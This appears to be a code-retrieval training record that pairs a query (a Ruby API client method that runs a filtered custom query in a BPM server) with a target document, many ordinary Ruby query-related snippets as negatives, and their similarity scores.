"def create_query_definition_with_http_info(query_name, body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.create_query_definition ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.create_query_definition\"\n end\n # verify the required parameter 'body' is set\n if @api_client.config.client_side_validation && body.nil?\n fail ArgumentError, \"Missing the required parameter 'body' when calling CustomQueriesBPMApi.create_query_definition\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(body)\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'QueryDefinition')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#create_query_definition\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def query query_object\n\t\tcase query_object.kind\n\t\t\twhen \"random\"\n\t\t\t\tget_random query_object\n\t\t\twhen \"query\"\n\t\t\t\tget_query query_object\n\t\t\twhen \"category_kind\"\n\t\t\t\tget_category query_object\n\t\t\telse\n\t\t\t\tset_error query_object\n\t\tend\n\n\t\tquery_object\n\tend",
"def to_query\n hash = {:fields => [], :operators => {}, :values => {}}\n active_filters.each do |f|\n hash[:fields] << f.name\n hash[:operators][f.name] = f.operator\n hash[:values][f.name] = f.value\n end\n hash.to_query\n end",
"def query\n case query_type_str\n when 'empty'\n return\n when 'iso'\n return iso_query_builder\n when 'multi'\n return multi_query_builder\n end\n end",
"def searchUsing(filter)\n @zqlQuery = filter\n end",
"def perform_query(query, operand)\n# STDERR.puts \"perform_query(q '#{query}', op '#{operand}')\"\n records = []\n\t\t \n if operand.is_a?(DataMapper::Query::Conditions::NotOperation)\n#\tSTDERR.puts \"operand is a NOT operation\"\n\tsubject = operand.first.subject\n\tvalue = operand.first.value\n elsif operand.subject.is_a?(DataMapper::Associations::ManyToOne::Relationship)\n#\tSTDERR.puts \"operand subject is a many-to-one relation: '#{operand.subject.inspect}'\"\n\tif operand.subject.parent_model == NamedQuery && operand.subject.child_model == Bug\n\t name = operand.value[operand.subject.parent_key.first.name]\n\t bugs = named_query(name)\n\t bugs.each do |bug|\n\t records << bug_to_record(query.model, bug)\n\t end\n\t return records\n\telse\n\t raise \"Unknown parent (#{operand.subject.parent_model}) child (#{operand.subject.child_model}) relation\"\n\tend\n else\n#\tSTDERR.puts \"operand is normal\"\n\tsubject = operand.subject\n\tvalue = operand.value\n end\n \n if subject.is_a?(DataMapper::Associations::ManyToOne::Relationship)\n#\tSTDERR.puts \"subject is a many-to-one relation\"\n\tsubject = subject.child_key.first\n end\n \n # typical queries\n #\n \n# STDERR.puts \"perform_query(subject '#{subject.inspect}', value '#{value.inspect}')\"\n case query.model.name\n when \"Bug\"\n\tif query.model.key.include?(subject)\n\t # get single <bug>\n\t bugs = get_bugs(value)\n\t records << bug_to_record(query.model, bugs.first)\n\telse\n\t raise \"Unknown query for bug\"\n\tend\n when \"NamedQuery\"\n\trecords << { subject.name.to_s => value }\n\t# be lazy: do the actual named query when NamedQuery#bugs gets accessed\n else\n\traise \"Unsupported model '#{query.model.name}'\"\n end\n \n records\n end",
"def _query(q, params={})\n engine = Java::OrgNeo4jCypherJavacompat::ExecutionEngine.new(db)\n result = engine.execute(q, Core::HashWithIndifferentAccess.new(params))\n Neo4j::Cypher::ResultWrapper.new(result)\n end",
"def filter(*query_names, &block)\n each_query(query_names) do |query|\n query.add_filter(block)\n end\n end",
"def add_general_query\n fields = [\n \"creators.name^5\",\n \"title^7\",\n \"endnotes\",\n \"notes\",\n \"summary\",\n \"tags.name\",\n \"series.title\"\n ]\n query_string = options[:q]\n return if query_string.blank?\n body.must(\n :query_string,\n fields: fields,\n query: query_string\n )\n end",
"def run_query()\n return nil unless @query\n \n gres = @query.execute()\n if @filterClass \n fres = @filterClass.filter(gres)\n res = fres.kind_of?(Array) ? fres.join(\"\\n\") : fres.to_s\n elsif @filterBlock \n fres = @filterBlock.call(gres)\n res = fres.kind_of?(Array) ? fres.join(\"\\n\") : fres.to_s\n else\n res = fres.result_s\n end\n res\n end",
"def query(tql)\n rid = tql[:rid]\n where = nil\n filter = nil\n if tql.has_key?(:where)\n w = tql[:where]\n where = w.is_a?(Array) ? ExprParser.parse(w) : w\n end\n filter = ExprParser.parse(tql[:filter]) if tql.has_key?(:filter)\n\n if tql.has_key?(:insert)\n insert(tql[:insert], rid, where, filter)\n elsif tql.has_key?(:update)\n update(tql[:update], rid, where, filter)\n elsif tql.has_key?(:delete)\n delete(tql[:delete], rid, where, filter)\n else\n select(tql[:select], rid, where, filter)\n end\n end",
"def retrieve_query\n if params[:set_filter] or !session[:query] or session[:query].project_id\n # Give it a name, required to be valid\n @query = Query.new(:name => \"_\", :executed_by => logged_in_user)\n if params[:fields] and params[:fields].is_a? Array\n params[:fields].each do |field|\n @query.add_filter(field, params[:operators][field], params[:values][field])\n end\n else\n @query.available_filters.keys.each do |field|\n @query.add_short_filter(field, params[field]) if params[field]\n end\n end\n session[:query] = @query\n else\n @query = session[:query]\n end\n end",
"def query(sql, name = nil) #:nodoc:\n #log(sql, name) do\n #TODO: @async\n select_rows sql, name\n end",
"def run_query(query, options={})\n query = prepare_query query, options\n\n # Run the query\n response = self.__elasticsearch__.search query\n\n Hashie::Mash.new({\n records: response.records,\n total_entries: response.results.total\n })\n end",
"def read(name)\n mappers[name]\n end",
"def read(name)\n mappers[name]\n end",
"def retrieve_query\r\n if params[:query_id]\r\n @query = @project.queries.find(params[:query_id])\r\n @query.executed_by = logged_in_user\r\n session[:query] = @query\r\n else\r\n if params[:set_filter] or !session[:query] or session[:query].project_id != @project.id\r\n # Give it a name, required to be valid\r\n @query = Query.new(:name => \"_\", :executed_by => logged_in_user)\r\n @query.project = @project\r\n if params[:fields] and params[:fields].is_a? Array\r\n params[:fields].each do |field|\r\n @query.add_filter(field, params[:operators][field], params[:values][field])\r\n end\r\n else\r\n @query.available_filters.keys.each do |field|\r\n @query.add_short_filter(field, params[field]) if params[field]\r\n end\r\n end\r\n session[:query] = @query\r\n else\r\n @query = session[:query]\r\n end\r\n end\r\n end",
"def request(query_description)\n raise MissingSqlQueryError if query_description[:raw_query].nil?\n\n request = {\n body: URI.encode_www_form('from': DateTime.strptime(query_description[:from], '%Q').strftime('%H:%M_%Y%m%d'),\n 'until': DateTime.strptime(query_description[:to], '%Q').strftime('%H:%M_%Y%m%d'),\n 'format': 'json',\n 'target': replace_variables(query_description[:raw_query], query_description[:variables])),\n content_type: 'application/x-www-form-urlencoded',\n request: Net::HTTP::Post\n }\n\n webrequest = query_description[:prepared_request]\n webrequest.relative_url = \"/api/datasources/proxy/#{id}/render\"\n webrequest.options.merge!(request)\n\n result = webrequest.execute(query_description[:timeout])\n preformat_response(result.body)\n end",
"def execute(query, request_token: nil, work_group: nil)\n if @database_name\n resp = @client.start_query_execution(\n query_string: query,\n query_execution_context: context,\n result_configuration: result_config,\n client_request_token: request_token,\n work_group: work_group\n )\n else\n resp = @client.start_query_execution(\n query_string: query,\n result_configuration: result_config\n )\n end\n\n return Athens::Query.new(self, resp.query_execution_id)\n end",
"def map\n @person = Person.find(params[:id])\n map_q(@person, params)\n end",
"def search(query)\n results(query).map { |r| result_class.new(r) }\n end",
"def run\n self.prominence!\n return self.send_results if @query.any?\n\n self.fuzzy_match\n self.apply_narrowing_filters\n self.apply_limit\n self.load_and_sort_by_matches\n self.send_results\n end",
"def create_query_definition(query_name, body, opts = {})\n data, _status_code, _headers = create_query_definition_with_http_info(query_name, body, opts)\n return data\n end",
"def query(_tql)\n raise NotImplementedError.new\n end",
"def query_full\n query = @initial_query.dup\n\n # restrict to select columns\n query = query_projection(query)\n\n #filter\n query = query_filter(query)\n\n # sorting\n query = query_sort(query)\n\n # paging\n query_paging(query)\n end",
"def search(query)\n\t\t query = \"%#{query}%\"\n\t\t name = arel_table[:name].matches(query)\n\t\t aliases = arel_table[:aliases].matches(query)\n\t\t where(name.or(aliases))\n\t\tend",
"def compute_query_api_pattern_based_params(query_pattern_name, query_params={})\n # fix a method name\n pattern = query_api_patterns[query_pattern_name.to_s]\n # Complain if we dont know the method\n raise PatternNotFoundError::new(\"#{query_pattern_name.inspect} pattern not found\") unless pattern\n # Make sure we got what we expected\n query_params ||= {}\n raise Error::new(\"Params must be Hash but #{query_params.class.name} received.\") unless query_params.is_a?(Hash)\n # Make a new Hash instance from the incoming Hash.\n # Do not clone because we don't want to have HashWithIndifferentAccess instance or\n # something similar because we need to have Symbols and Strings separated.\n query_params = Hash[query_params]\n opts = {}\n opts[:body] = query_params.delete(:body)\n opts[:headers] = query_params.delete(:headers) || {}\n opts[:options] = query_params.delete(:options) || {}\n opts[:params] = query_params._stringify_keys\n opts[:manager] = self\n request_opts = compute_query_api_pattern_request_data(query_pattern_name, pattern, opts)\n # Try to use custom :process_rest_api_request method first because some auth things\n # may be required.\n # (see OpenStack case) otherwise use standard :process_api_request method\n { :method => respond_to?(:process_rest_api_request) ? :process_rest_api_request : :process_api_request,\n :verb => request_opts.delete(:verb),\n :path => request_opts.delete(:path),\n :opts => request_opts }\n end",
"def run_query(q)\n return sky_table.query(q)\n end",
"def base_query\n DataServicesApi::QueryGenerator.new\n end",
"def query(&block)\n Query.new(self, &block)\n end",
"def query_projection_default(query)\n apply_projections(query, @build.projections({ include: @render_fields }))\n end",
"def for_query(query)\n all.find { |f| f.query == query }\n end",
"def normalize_query(query, filters)\n filter = normalize_filters filters\n query ||= {match_all: {}}\n return query unless filter\n {filtered: {\n query: query,\n filter: filter,\n }}\n end",
"def query_params\n {\n name:,\n q: query,\n api_key:\n }\n end",
"def mqlread(query, options = {})\n Ken.logger.info \">>> Sending Query: #{query.to_json}\"\n cursor = options[:cursor]\n if cursor\n query_result = []\n while cursor\n response = get_query_response(query, cursor)\n query_result += response['result']\n cursor = response['cursor']\n end\n else\n response = get_query_response(query, cursor)\n cursor = response['cursor']\n query_result = response['result']\n end\n query_result\n end",
"def map name\n @mapper[name]\n end",
"def query_builder_with_filter_from_hash(params)\n types = get_types_parameters\n\n validate_parameters(types, params)\n\n pattern = params[:q]\n\n only_liked = params[:only_liked] == 'true'\n only_shared = params[:only_shared] == 'true'\n only_subscriptions = params[:subscribed] == 'true'\n only_samples = params[:sample] == 'true'\n exclude_shared = params[:exclude_shared] == 'true'\n exclude_raster = params[:exclude_raster] == 'true'\n locked = params[:locked]\n shared = compose_shared(params[:shared], only_shared, exclude_shared)\n tags = params.fetch(:tags, '').split(',')\n tags = nil if tags.empty?\n bbox_parameter = params.fetch(:bbox,nil)\n privacy = params.fetch(:privacy,nil)\n only_with_display_name = params[:only_with_display_name] == 'true'\n with_dependent_visualizations = params[:with_dependent_visualizations].to_i\n only_published = params[:only_published] == 'true'\n\n vqb = VisualizationQueryBuilder.new\n .with_prefetch_user\n .with_prefetch_table\n .with_prefetch_permission\n .with_prefetch_synchronization\n .with_prefetch_external_source\n .with_types(types)\n .with_tags(tags)\n\n if !bbox_parameter.blank?\n vqb.with_bounding_box(Carto::BoundingBoxUtils.parse_bbox_parameters(bbox_parameter))\n end\n\n # FIXME Patch to exclude legacy visualization from data-library #5097\n if only_with_display_name\n vqb.with_display_name\n end\n\n vqb.with_published if only_published\n\n if current_user\n vqb.with_current_user_id(current_user.id)\n vqb.with_liked_by_user_id(current_user.id) if only_liked\n vqb.with_subscription if only_subscriptions\n vqb.with_sample if only_samples\n case shared\n when FILTER_SHARED_YES\n vqb.with_owned_by_or_shared_with_user_id(current_user.id)\n when FILTER_SHARED_NO\n vqb.with_user_id(current_user.id) if !only_liked\n when FILTER_SHARED_ONLY\n vqb.with_shared_with_user_id(current_user.id)\n .with_user_id_not(current_user.id)\n end\n\n vqb.without_raster if exclude_raster\n\n if locked == 'true'\n vqb.with_locked(true)\n elsif locked == 'false'\n vqb.with_locked(false)\n end\n\n if types.include? Carto::Visualization::TYPE_REMOTE\n vqb.without_synced_external_sources\n vqb.without_imported_remote_visualizations\n end\n\n vqb.with_privacy(privacy) unless privacy.nil?\n\n if with_dependent_visualizations.positive? && !current_user.has_feature_flag?('faster-dependencies')\n vqb.with_prefetch_dependent_visualizations\n end\n else\n user = Carto::User.where(username: CartoDB.extract_subdomain(request)).first\n raise Carto::ParamInvalidError.new(:username) unless user.present?\n vqb.with_user_id(user.id)\n .with_privacy(Carto::Visualization::PRIVACY_PUBLIC)\n end\n\n if pattern.present?\n vqb.with_partial_match(pattern)\n end\n\n vqb\n end",
"def query\n unless @query\n parse_query()\n end\n @query\n end",
"def search_query(authorization, \n query)\n\n # prepare query url\n _query_builder = Configuration.get_base_uri()\n _query_builder << '/search/{query}'\n _query_builder = APIHelper.append_url_with_template_parameters _query_builder, {\n 'query' => query\n }\n _query_url = APIHelper.clean_url _query_builder\n\n # prepare headers\n _headers = {\n 'accept' => 'application/json',\n 'Authorization' => Configuration.authorization,\n 'Authorization' => authorization\n }\n\n # prepare and execute HttpRequest\n _request = @http_client.get _query_url, headers: _headers\n CustomAuth.apply(_request)\n _context = execute_request(_request)\n\n # validate response against endpoint and global error codes\n if _context.response.status_code == 400\n raise EntitiesErrorErrorException.new 'Bad Request', _context\n elsif _context.response.status_code == 401\n raise EntitiesErrorErrorException.new 'Unauthorized/Missing Token', _context\n elsif !_context.response.status_code.between?(200, 208)\n raise APIException.new 'Unexpected error', _context\n end\n validate_response(_context)\n\n # return appropriate response type\n decoded = APIHelper.json_deserialize(_context.response.raw_body)\n return SearchQueryResponse.from_hash(decoded)\n end",
"def query(query, params={})\n query_url = \"#{API_URL}/query.json?#{query}\"\n perform_get_request(query_url, params)\n end",
"def to_query\n {\n json: query\n }\n end",
"def to_query\n {\n json: query\n }\n end",
"def where(query = {})\n payload = api.call('interface', [ query ], namespace: :mapping)\n\n raise SNT::PMS::Errors::PMSError, payload['errors'] if payload.key?('errors')\n\n payload['results'].inject([]) do |objects, obj|\n # Select the attributes from the attributes key\n object_attributes = obj.map { |k, v| [k.tr('-', '_').to_sym, v] }.to_h\n\n objects << new(object_attributes)\n end\n end",
"def RunQueries\n if @reqs.empty?\n @error = 'No queries defined, issue AddQuery() first'\n return false\n end\n\n req = @reqs.join('')\n nreqs = @reqs.length\n @reqs = []\n response = PerformRequest(:search, req, nreqs)\n \n # parse response\n begin\n results = []\n ires = 0\n while ires < nreqs\n ires += 1\n result = {}\n \n result['error'] = ''\n result['warning'] = ''\n \n # extract status\n status = result['status'] = response.get_int\n if status != SEARCHD_OK\n message = response.get_string\n if status == SEARCHD_WARNING\n result['warning'] = message\n else\n result['error'] = message\n results << result\n next\n end\n end\n \n # read schema\n fields = []\n attrs = {}\n attrs_names_in_order = []\n \n nfields = response.get_int\n while nfields > 0\n nfields -= 1\n fields << response.get_string\n end\n result['fields'] = fields\n \n nattrs = response.get_int\n while nattrs > 0\n nattrs -= 1\n attr = response.get_string\n type = response.get_int\n attrs[attr] = type\n attrs_names_in_order << attr\n end\n result['attrs'] = attrs\n \n # read match count\n count = response.get_int\n id64 = response.get_int\n \n # read matches\n result['matches'] = []\n while count > 0\n count -= 1\n \n if id64 != 0\n doc = response.get_int64\n weight = response.get_int\n else\n doc, weight = response.get_ints(2)\n end\n \n r = {} # This is a single result put in the result['matches'] array\n r['id'] = doc\n r['weight'] = weight\n attrs_names_in_order.each do |a|\n r['attrs'] ||= {}\n \n case attrs[a]\n when SPH_ATTR_BIGINT\n # handle 64-bit ints\n r['attrs'][a] = response.get_int64\n when SPH_ATTR_FLOAT\n # handle floats\n r['attrs'][a] = response.get_float\n\t\t\t\twhen SPH_ATTR_STRING\n\t\t\t\t # handle string\n\t\t\t\t r['attrs'][a] = response.get_string\n else\n # handle everything else as unsigned ints\n val = response.get_int\n if attrs[a]==SPH_ATTR_MULTI\n r['attrs'][a] = []\n 1.upto(val) do\n r['attrs'][a] << response.get_int\n end\n elsif attrs[a]==SPH_ATTR_MULTI64\n r['attrs'][a] = []\n\t\t\t\t\tval = val/2\n 1.upto(val) do\n r['attrs'][a] << response.get_int64\n end\n else\n r['attrs'][a] = val\n end\n end\n end\n result['matches'] << r\n end\n result['total'], result['total_found'], msecs, words = response.get_ints(4)\n result['time'] = '%.3f' % (msecs / 1000.0)\n \n result['words'] = {}\n while words > 0\n words -= 1\n word = response.get_string\n docs, hits = response.get_ints(2)\n result['words'][word] = { 'docs' => docs, 'hits' => hits }\n end\n \n results << result\n end\n #rescue EOFError\n # @error = 'incomplete reply'\n # raise SphinxResponseError, @error\n end\n \n return results\n end",
"def query(sql, name = nil) #:nodoc:\n log(sql, name) do\n @connection.execute(sql).rows\n end\n end",
"def search\n\n # define the elasticsearch result \"size\" (limit)\n limit = params['limit'].to_i\n # define the elasticsearch result \"from\" (offset)\n offset = params['offset'].to_i\n # Pass through\n hack = params['hack']\n # Default output\n searchResults = ''\n # If we have filters, we need to parse them\n if params['filters'].present?\n filters = []\n # For each of the filters format them and stuff them into an array\n params['filters'].each do |key, filter|\n\n if [\n 'properties.educationalAlignment.properties.targetName',\n 'properties.inLanguage',\n 'properties.isBasedOnUrl',\n 'properties.thumbnailUrl',\n 'properties.timeRequired',\n 'properties.typicalAgeRange',\n 'properties.url',\n 'properties.useRightsUrl'\n ].include?(key)\n searchKey = \"schema-org.#{key}.original\"\n matchTerm = 'term'\n else\n searchKey = \"schema-org.#{key}\"\n matchTerm = 'match'\n end\n\n if filter.keys.count > 1\n # This is more complex because this filter type needs the keys or'd together\n orFilters = []\n filter.keys.each do |f|\n orFilters << { 'query' => { matchTerm => { searchKey => f.to_s } } }\n end\n filters << { 'or' => orFilters }\n else\n # This should be simple, there is only one of this filter key\n filters << { 'query' => { matchTerm => { searchKey => filter.keys.first.to_s } } }\n end\n end\n\n # If the query is present we need to match it\n if params['query'].present?\n query = { 'match' => { '_all' => params['query'] } }\n filter = { 'and' => filters }\n # If no query is present then we can wildcard against anything\n else\n query = { 'match_all' => { } }\n filter = { 'and' => filters }\n end\n # if not filter is present then just match against query\n else\n query = { 'match' => { '_all' => params['query'] } }\n end\n\n # Build the payload from the various parts\n payload = {\n 'size' => limit,\n 'from' => offset,\n 'query' => {\n 'filtered' => {\n 'query' => query,\n 'filter' => filter\n }\n },\n \"facets\" => {\n \"intendedEndUserRole\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.intendedEndUserRole.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"typicalAgeRange\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.typicalAgeRange.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"educationalUse\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.educationalUse.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"interactivityType\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.interactivityType.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"learningResourceType\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.learningResourceType.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"mediaType\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.mediaType.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n }\n }\n }\n\n#puts \"PAYLOAD\"; puts Rails.configuration.elastic_search_url; puts payload.to_json\n\n # Okay after all that mess, lets make the request\n request = RestClient::Request.new( :method => :get, :url => Rails.configuration.elastic_search_url, :payload => payload.to_json )\n # Since this can error lets catch it\n begin\n searchResults = request.execute\n results = JSON.parse(searchResults)\n results[:hack] = hack\n\n#puts \"RESPONSE\"; puts results.to_json\n\n respond_to do |format|\n format.json { render json: results }\n end\n rescue => e\n # @TODO Need to return the correct error type and then an error message to be shown to user.\n respond_to do |format|\n format.json { render json: searchResults }\n end\n#puts \"ERROR!\"; puts e.response\n end\n\n end",
"def execute\n # build the query string\n # run the query\n # return the results\n end",
"def _query(*params)\n fail 'not implemented'\n end",
"def apply_projection(query, projection)\n validate_query(query)\n validate_projection(projection)\n\n if projection.is_a?(Hash)\n expression = projection[:base_table]\n projection[:joins].each do |join|\n expression = expression.join(join[:arel_table], join[:type]).on(join[:on])\n end\n query = query.joins(expression.join_sources)\n query = query.select(projection[:projection])\n\n return query\n end\n\n query.select(projection)\n end"
] |
[
"0.7097004",
"0.6756369",
"0.63633746",
"0.5915124",
"0.5728005",
"0.5716912",
"0.57130307",
"0.54632163",
"0.53342247",
"0.5326167",
"0.5322422",
"0.5305781",
"0.52718717",
"0.52591634",
"0.52281404",
"0.5193519",
"0.51487064",
"0.5137025",
"0.5107997",
"0.51018876",
"0.50953645",
"0.5087079",
"0.5063368",
"0.50627285",
"0.5045087",
"0.502711",
"0.5011854",
"0.50093067",
"0.500019",
"0.49789625",
"0.49746677",
"0.4966536",
"0.49387428",
"0.49387428",
"0.49251825",
"0.49135435",
"0.4895371",
"0.4885701",
"0.48770374",
"0.48743096",
"0.48729205",
"0.48609003",
"0.48565036",
"0.48553908",
"0.4841838",
"0.48390558",
"0.48315585",
"0.48274425",
"0.48273605",
"0.4822604",
"0.48176518",
"0.48098695",
"0.48075354",
"0.48021966",
"0.47854668",
"0.47851822",
"0.47790867",
"0.4778545",
"0.47675937",
"0.47640565",
"0.47599185",
"0.47550485",
"0.47327477",
"0.47321826",
"0.47296768",
"0.4728203",
"0.4728203",
"0.47258154",
"0.47240478",
"0.4706915",
"0.47038814",
"0.47017747",
"0.46929997",
"0.4685172",
"0.4683148",
"0.46815458",
"0.467028",
"0.46689373",
"0.4667622",
"0.4667478",
"0.4663942",
"0.46627638",
"0.46491745",
"0.4648666",
"0.46473727",
"0.4638857",
"0.4637677",
"0.46351865",
"0.4632907",
"0.46234635",
"0.46232095",
"0.46140257",
"0.46140257",
"0.46117046",
"0.4608947",
"0.45899364",
"0.45836502",
"0.45833087",
"0.45814875",
"0.45780566"
] |
0.698791
|
1
|
Queries using query definition identified by queryName. Maps the result to concrete objects based on provided mapper. Query is additional altered by the filter spec and/or builder
|
def run_query_filtered_with_http_info(query_name, mapper, opts = {})
if @api_client.config.debugging
@api_client.config.logger.debug "Calling API: CustomQueriesBPMApi.run_query_filtered ..."
end
# verify the required parameter 'query_name' is set
if @api_client.config.client_side_validation && query_name.nil?
fail ArgumentError, "Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.run_query_filtered"
end
# verify the required parameter 'mapper' is set
if @api_client.config.client_side_validation && mapper.nil?
fail ArgumentError, "Missing the required parameter 'mapper' when calling CustomQueriesBPMApi.run_query_filtered"
end
# resource path
local_var_path = "/server/queries/definitions/{queryName}/filtered-data".sub('{' + 'queryName' + '}', query_name.to_s)
# query parameters
query_params = {}
query_params[:'mapper'] = mapper
query_params[:'builder'] = opts[:'builder'] if !opts[:'builder'].nil?
query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?
query_params[:'pageSize'] = opts[:'page_size'] if !opts[:'page_size'].nil?
# header parameters
header_params = {}
# HTTP header 'Accept' (if needed)
header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])
# form parameters
form_params = {}
# http body (model)
post_body = @api_client.object_to_http_body(opts[:'body'])
auth_names = []
data, status_code, headers = @api_client.call_api(:POST, local_var_path,
:header_params => header_params,
:query_params => query_params,
:form_params => form_params,
:body => post_body,
:auth_names => auth_names,
:return_type => 'Object')
if @api_client.config.debugging
@api_client.config.logger.debug "API called: CustomQueriesBPMApi#run_query_filtered\nData: #{data.inspect}\nStatus code: #{status_code}\nHeaders: #{headers}"
end
return data, status_code, headers
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def run_query(query_name, mapper, opts = {})\n data, _status_code, _headers = run_query_with_http_info(query_name, mapper, opts)\n return data\n end",
"def run_query_filtered(query_name, mapper, opts = {})\n data, _status_code, _headers = run_query_filtered_with_http_info(query_name, mapper, opts)\n return data\n end",
"def run_query_with_http_info(query_name, mapper, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.run_query ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.run_query\"\n end\n # verify the required parameter 'mapper' is set\n if @api_client.config.client_side_validation && mapper.nil?\n fail ArgumentError, \"Missing the required parameter 'mapper' when calling CustomQueriesBPMApi.run_query\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}/data\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'mapper'] = mapper\n query_params[:'orderBy'] = opts[:'order_by'] if !opts[:'order_by'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'pageSize'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<Object>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#run_query\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def alias_query(query_name, alias_name)\n @aliases ||= {}\n @aliases[alias_name] = query_name\n define_query_method(query_name, alias_name)\n end",
"def base_query_for(name)\n # Load issues\n query = mr_closing_issues_table.join(issue_table).on(issue_table[:id].eq(mr_closing_issues_table[:issue_id])).\n join(issue_metrics_table).on(issue_table[:id].eq(issue_metrics_table[:issue_id])).\n where(issue_table[:project_id].eq(@project.id)).\n where(issue_table[:deleted_at].eq(nil)).\n where(issue_table[:created_at].gteq(@from))\n\n query = query.where(build_table[:ref].eq(@branch)) if name == :test && @branch\n\n # Load merge_requests\n query = query.join(mr_table, Arel::Nodes::OuterJoin).\n on(mr_table[:id].eq(mr_closing_issues_table[:merge_request_id])).\n join(mr_metrics_table).\n on(mr_table[:id].eq(mr_metrics_table[:merge_request_id]))\n\n if DEPLOYMENT_METRIC_STAGES.include?(name)\n # Limit to merge requests that have been deployed to production after `@from`\n query.where(mr_metrics_table[:first_deployed_to_production_at].gteq(@from))\n end\n\n query\n end",
"def run_query_filtered_by_deployment_id(id, query_name, mapper, opts = {})\n data, _status_code, _headers = run_query_filtered_by_deployment_id_with_http_info(id, query_name, mapper, opts)\n return data\n end",
"def query(name = nil, &block)\n Query.new(name, &block)\n end",
"def run_query_filtered_by_deployment_id_with_http_info(id, query_name, mapper, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.run_query_filtered_by_deployment_id ...\"\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling CustomQueriesBPMApi.run_query_filtered_by_deployment_id\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.run_query_filtered_by_deployment_id\"\n end\n # verify the required parameter 'mapper' is set\n if @api_client.config.client_side_validation && mapper.nil?\n fail ArgumentError, \"Missing the required parameter 'mapper' when calling CustomQueriesBPMApi.run_query_filtered_by_deployment_id\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/containers/{id}/query/{queryName}/filtered-data\".sub('{' + 'id' + '}', id.to_s).sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'mapper'] = mapper\n query_params[:'builder'] = opts[:'builder'] if !opts[:'builder'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'pageSize'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'body'])\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Object')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#run_query_filtered_by_deployment_id\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def define_query\n name = @name\n klass.send :define_method, \"#{name}?\" do\n send(\"#{name}_value\").present? &&\n send(\"#{name}_unit\").present?\n end\n end",
"def query(query_definition)\n return\n end",
"def define_query_method(name, method_name = name)\n klass = @registry[name]\n\n define_method(method_name) do |bucket, options = {}|\n QueryCommand.new(klass, namespace, bucket, options).run\n end\n end",
